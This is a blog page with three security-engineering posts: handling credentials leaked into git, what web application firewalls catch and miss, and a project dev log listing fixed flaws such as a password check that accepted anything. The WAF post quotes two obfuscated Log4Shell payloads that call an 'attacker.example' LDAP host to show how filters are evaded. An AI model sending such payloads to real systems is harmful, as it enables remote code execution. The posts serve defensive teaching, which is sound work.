Category: Software Engineering

  • Secrets in git: how credentials leak, how to find them, and what to do after a leak

    Secrets in git: how credentials leak, how to find them, and what to do after a leak

    Every engineer I know has either committed a secret to a repository or reviewed a change that did. It’s one of the most ordinary security mistakes there is, and it keeps showing up at the start of serious breaches because a credential in git is durable, copyable and easy to search for at scale.

    Two well-documented cases set the stakes. In 2016, attackers got into a private GitHub repository used by Uber engineers, found AWS credentials in it, and used them to download personal data on about 57 million riders and drivers from S3. In 2022 Toyota disclosed that source code for its T-Connect service had sat in a public GitHub repository for nearly five years, with an access key for a data server that held around 296,000 customer email addresses. Neither needed anything clever. Someone read a file.

    How secrets actually end up in history

    Flowchart: when a secret leaks into git, revoke it first, check audit logs for use, scope the exposure, replace it from a secret manager, and only then optionally purge history; prevention via hooks, CI scanning, push protection and short-lived credentials

    The obvious path is a config file with a real value in it. A .env that wasn’t in .gitignore yet, a settings.py with a database password “just for local testing”, a Terraform variables file. The less obvious paths cause more trouble:

    • A secret is committed, noticed in review, and removed in the next commit. It’s still in history, and in every clone and fork made in between.
    • A test fixture or recorded HTTP cassette captures a real Authorization header.
    • A Jupyter notebook saves its output cells, including the token someone printed while debugging.
    • A Dockerfile copies the whole build context into an image layer, .env included. That’s not git, but the same people push both.

    The numbers are bad. A 2019 NDSS paper by Meli, McNiece and Reaves scanned public GitHub over several months and found secret leakage in over 100,000 repositories, with thousands of new, unique secrets leaking every day. Attackers run the same kind of scanning continuously. Assume a key pushed to a public repository is found within minutes, not days.

    Private repositories are not a vault either. The Uber repository was private. Anyone with read access, every laptop clone, every CI runner and every third-party integration with repo scope has a copy of the full history.

    Scanning: before commit and across history

    There are good open source scanners, and they complement each other. Gitleaks is fast and regex-based, and works well as a pre-commit hook. TruffleHog’s distinguishing feature is verification: for many credential types it calls the provider’s API to check whether a found key is live, which cuts the noise enormously when you’re scanning years of history.

    Scan the whole history, all branches, once:

    gitleaks git -v .              # older releases: gitleaks detect --source . -v
    trufflehog git file://. --only-verified

    Then stop new ones at the developer’s machine. With the pre-commit framework:

    # .pre-commit-config.yaml
    repos:
      - repo: https://github.com/gitleaks/gitleaks
        rev: v8.30.1
        hooks:
          - id: gitleaks

    A local hook is easy to skip with --no-verify, so run the same scanner in CI on every push and fail the build. On GitHub, push protection blocks pushes containing recognized secret formats at the server, and it has been on by default for pushes to public repositories since early 2024. GitHub’s secret scanning partner program also forwards leaked tokens to the issuing provider. AWS, for one, reacts by attaching a quarantine policy to the affected IAM user, which is a nice safety net and a terrible plan.

    Expect false positives and handle them deliberately, with an allowlist entry or an inline ignore comment that a reviewer can see. A scanner everyone has learned to bypass is worse than none, because it gives the impression of coverage.

    After a leak, rotate first

    The most common mistake I see after a leak is reaching for history rewriting first. People spend an afternoon with git filter-repo, force-push, and feel done, while the key still works. Rewriting history doesn’t un-leak anything. Clones, forks, CI caches and attackers’ scrapers already have it. On GitHub, old commits can stay reachable by SHA, through pull request refs, and in cached views until support purges them.

    The order that works:

    1. Revoke or rotate the credential. Now, before anything else.
    2. Find out whether it was used:
       aws cloudtrail lookup-events \
         --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA...
       (or the provider's equivalent audit log)
    3. Scope the exposure: when was it committed, who had access, was it public.
    4. Deploy the replacement from a secret manager, not a new file in the repo.
    5. Then clean history if you still want to.

    Step 2 is the one people skip, and it’s the one that tells you whether this was a near miss or an incident. Look at the full window from the first commit, not just since someone noticed. Toyota’s key was exposed for years.

    If you do rewrite history, git filter-repo is the maintained tool:

    # remove a file from every commit
    git filter-repo --invert-paths --path config/.env
    # or replace literal values listed one per line in a file
    git filter-repo --replace-text leaked-values.txt

    Every collaborator then has to re-clone, and the old history lives on in any fork you don’t control. That’s why rotation is step one.

    Making it rare

    Scanners catch mistakes. The structural fix is having fewer long-lived secrets that can be committed in the first place. CI systems can usually authenticate to cloud providers with short-lived OIDC tokens rather than stored access keys, and GitHub Actions, GitLab CI and others support this with AWS, Azure and Google Cloud. Applications can read secrets at runtime from a secret manager or have them injected by the platform, so the repository only contains the name of the secret, never its value. Give every credential an owner and an expiry, so rotation is a routine job instead of something you discover you can’t do during an incident.

    Watch the neighbours of the repository too. A set -x in a deploy script prints every expanded variable into the CI log, and build logs are often readable by far more people than the secret store. Most CI systems mask registered secrets in output, but only the exact registered value, not a base64-encoded or URL-encoded copy of it.

    I’d rather have a team that rotates a leaked key in ten minutes than one that never leaks a key, because the second team doesn’t exist. Build the scanning so leaks are caught early, and build the rotation so catching one is boring.

  • Web application firewalls: what they catch, what they miss, and why they don’t fix the bug

    Web application firewalls: what they catch, what they miss, and why they don’t fix the bug

    I’ve sat in a lot of meetings where a vulnerability report was closed with “we’re behind a WAF”. It’s an understandable reflex. The WAF is a product with a dashboard full of blocked attacks, and the bug is a ticket that competes with features. But a web application firewall is a filter in front of your code, not a change to it. It’s very good at some jobs and close to useless at others. Knowing which is which is the difference between real protection and the feeling of it.

    How a WAF decides

    Diagram: textbook SQL injection, XSS and scanner traffic are blocked by the WAF, while obfuscated payloads, JSON SQL injection, oversized bodies and broken authorization requests pass through to the application

    Under the vendor branding, most WAFs work the same way. They parse each HTTP request (method, path, query string, headers, cookies, body), normalize it by decoding URL encoding, HTML entities and so on, then run the result past a set of rules. Rules are mostly pattern matches for attack syntax, plus some protocol sanity checks and rate limits.

    The OWASP Core Rule Set, the open rule set used by ModSecurity, Coraza and a number of commercial products, is a good place to see this in the open. It uses anomaly scoring: each matching rule adds points, a critical match adds 5, and the request is blocked once the inbound score reaches a threshold (5 by default). Paranoia levels 1 to 4 trade more detection for more false positives.

    # crs-setup.conf
    SecAction "id:900000,phase:1,pass,nolog,setvar:tx.blocking_paranoia_level=2"
    SecAction "id:900110,phase:1,pass,nolog,\
      setvar:tx.inbound_anomaly_score_threshold=5,\
      setvar:tx.outbound_anomaly_score_threshold=4"

    Worth knowing if you run ModSecurity yourself: Trustwave ended its support in July 2024, and the project moved to OWASP. Coraza is a Go reimplementation that runs CRS, and it’s where a lot of new deployments go.

    What a WAF is good at

    A WAF reliably stops commodity attack traffic. Scanners firing textbook SQL injection, path traversal and XSS payloads at every parameter get blocked, which drops a huge amount of noise from your logs and closes the easy wins for opportunistic attackers. If you have a legacy app full of string-concatenated SQL that nobody will fix this year, a WAF at paranoia level 2 is a real improvement.

    Its best use, in my opinion, is virtual patching. When a critical CVE lands in a framework you run, a targeted rule can block the exploit pattern within hours, long before your fix gets through build, test and deploy. In December 2021 the first Log4Shell (CVE-2021-44228) rules went out from most WAF vendors within a day, and they did blunt the first wave of mass scanning.

    What it misses

    Log4Shell shows the limits too. The first rules matched ${jndi:. Attackers immediately switched to lookups that Log4j evaluates but that don’t look like the string, for example:

    ${${lower:j}ndi:ldap://attacker.example/a}
    ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/a}

    Vendors updated their rules, attackers found new encodings, and the cycle ran for weeks. The WAF was guessing at every input the vulnerable code might interpret. That’s the same parser problem as the bug, one layer further out. The actual fix was upgrading Log4j.

    This isn’t a one-off. In 2022 researchers at Claroty showed that SQL injection payloads using JSON operators, which major databases had supported for years, sailed past WAFs from several large vendors because the rule sets didn’t understand JSON syntax in SQL. Any time the WAF and your application parse a request differently (duplicate parameters, odd content types, multipart edge cases, JSON with repeated keys) there’s room for a payload the WAF sees as harmless and the app sees as an attack.

    There are also plain capacity limits. AWS WAF behind an Application Load Balancer only inspects the first 8 KB of a request body. CloudFront and API Gateway default to 16 KB and can be raised to 64 KB. What happens to the rest depends on each rule’s oversize handling setting, and the default simply evaluates the part that was inspected, so whatever sits past the limit is never examined. An attacker who pads a JSON body past the limit can put the interesting part where nobody looks.

    A large class of bugs is invisible to a WAF, because nothing about the request is malformed. Broken object level authorization, number one on the OWASP API Security Top 10, is a request for /api/invoices/1043 from a user who owns invoice 1042. It looks exactly like a legitimate request because it is one, apart from who sent it. The same goes for authentication logic flaws, missing rate limits on password reset, price manipulation, race conditions in checkout. The WAF doesn’t know your business rules, and no signature can encode them.

    Running one well

    If you deploy a WAF, deploy it like any other control that can break production. Start in detection mode (SecRuleEngine DetectionOnly in ModSecurity, count mode in AWS WAF) and watch real traffic for a week or two. Then write narrow exclusions for the false positives you find:

    SecRule REQUEST_URI "@beginsWith /api/cms/articles" \
      "id:1001,phase:1,pass,nolog,\
      ctl:ruleRemoveTargetByTag=attack-xss;ARGS:body"

    That removes XSS checks from one field on one endpoint, which is the right granularity. The common mistake is disabling a whole rule globally because one form tripped it, and repeated a few dozen times that turns your WAF into an expensive logger.

    Send its logs somewhere people look. A WAF blocking a burst of exploit attempts against one endpoint is a strong signal that someone found something interesting there, and that’s worth a human glance.

    The bug is still there

    Every WAF rule that’s covering a real vulnerability should have a ticket next to it for the code fix, with a date. Virtual patching is a way to buy time, and you should spend that time on the fix rather than treat it as found money. The goal is a codebase where the WAF only catches noise, because the bugs behind it have been fixed: parameterized queries, output encoding, real authorization checks on every object, and dependencies kept current.

    I’d keep the WAF after that too. Defence in depth is real, and blocking scanners is useful. Just don’t let the dashboard’s blocked-attack count stand in for the question that matters, which is whether the application would be safe without it.

  • Horcrux dev log 4: nightly tests, and a NAS login that accepted any password

    Horcrux dev log 4: nightly tests, and a NAS login that accepted any password

    Part 4 in the Horcrux dev log series.

    Backdated: written in November 2026 from git and CI records. Part 3 ended with CI finally running.

    On October 4 a nightly workflow went in that boots an actual VM (CirrOS) and runs real container and CNI network tests. On the 7th a stress suite followed, with workers logging in and hammering the API. Both run on my own runners.

    119 commits in the fortnight. From the Forgejo API for October 1 to 15:

    all workflows: 233 runs (140 success, 68 failure, 18 cancelled)
    ci.yml: 53 success, 43 failure, 13 cancelled
    nightly-realistic-test: 18 success, 17 failure
    nightly-stress-test: 14 success, 3 failure

    About half the realistic nightlies failed. I haven’t broken those 17 failures down by cause, but the boot timeout was one of them. The VM boot deadline was 120 seconds and the runners are TCG-only (no KVM), so a commit on the 8th raised it to 240. On the 15th the commit message says “was never enough”.

    The CNI bugs

    The commit on October 4 says the nightly tests caught two real bugs in CNI and container handling that day, without naming them. My code assumed plugin responses looked one way and real plugins disagreed: cniVersion is camelCase, real plugins leave out empty optional fields, and the stdin payload needed its field names translated as well. Deleting a network also had to be refused while containers were still attached (Oct 5).

    Other fixes from those two weeks, quoted or paraphrased from the commit messages:

    Webhook signatures used Rust’s DefaultHasher, which is not a MAC. Now HMAC-SHA256 (Oct 11). TOTP and backup codes were compared with a plain ==. Now constant time (Oct 11). NAS password checking looked up the user in /etc/shadow and then returned success without comparing anything. “Any password, including an empty one, authenticated successfully for any local user.” That sat under SMB, NFS, FTP and WebDAV auth (Oct 11). Newlines and NULs could be injected into the Kerberos admin scripts and the generated smb.conf (Oct 13). Audit logs believed a client-supplied X-Forwarded-For (Oct 3). A non-ASCII Origin header panicked the CORS layer (Oct 12). NetworkPolicy enforced ports and ignored peer selectors and IP blocks (Oct 9).

    The commit messages don’t say which of these a test caught and which got spotted by reading, so I won’t claim the tests found them. On the 14th the audit job did flag four new RUSTSEC advisories against rustls, and that was a version bump.

    Smaller embarrassments

    “Docker image was building frozen v0.1.0, not HEAD” (Oct 8). Trunk never built main.css, which means the nav dropdowns had no styling at all (Oct 9). The UI hardcoded http://localhost:8006 for API and WebSocket calls, fine if you browse from the server itself and nowhere else (Oct 12 and 15). A VM CPU metric wasn’t divided by vCPU count. Poisoned locks would panic the process (Oct 15).

    What I took from it

    The NAS bypass shipped in a feature I’d already marked complete.

    State on October 15: 53 passing runs against 43 failing on the main workflow and about half the nightlies red. Part 5 is the audit I started on the 16th.

    Design decisions

    Not much is written down for this fortnight. The one clear call is that deleting a CNI network is refused while containers are attached to it (Oct 5).

    Other parts: Part 1, Part 2, Part 3, Part 5, Part 6. The series continues with the latest Horcrux dev log post.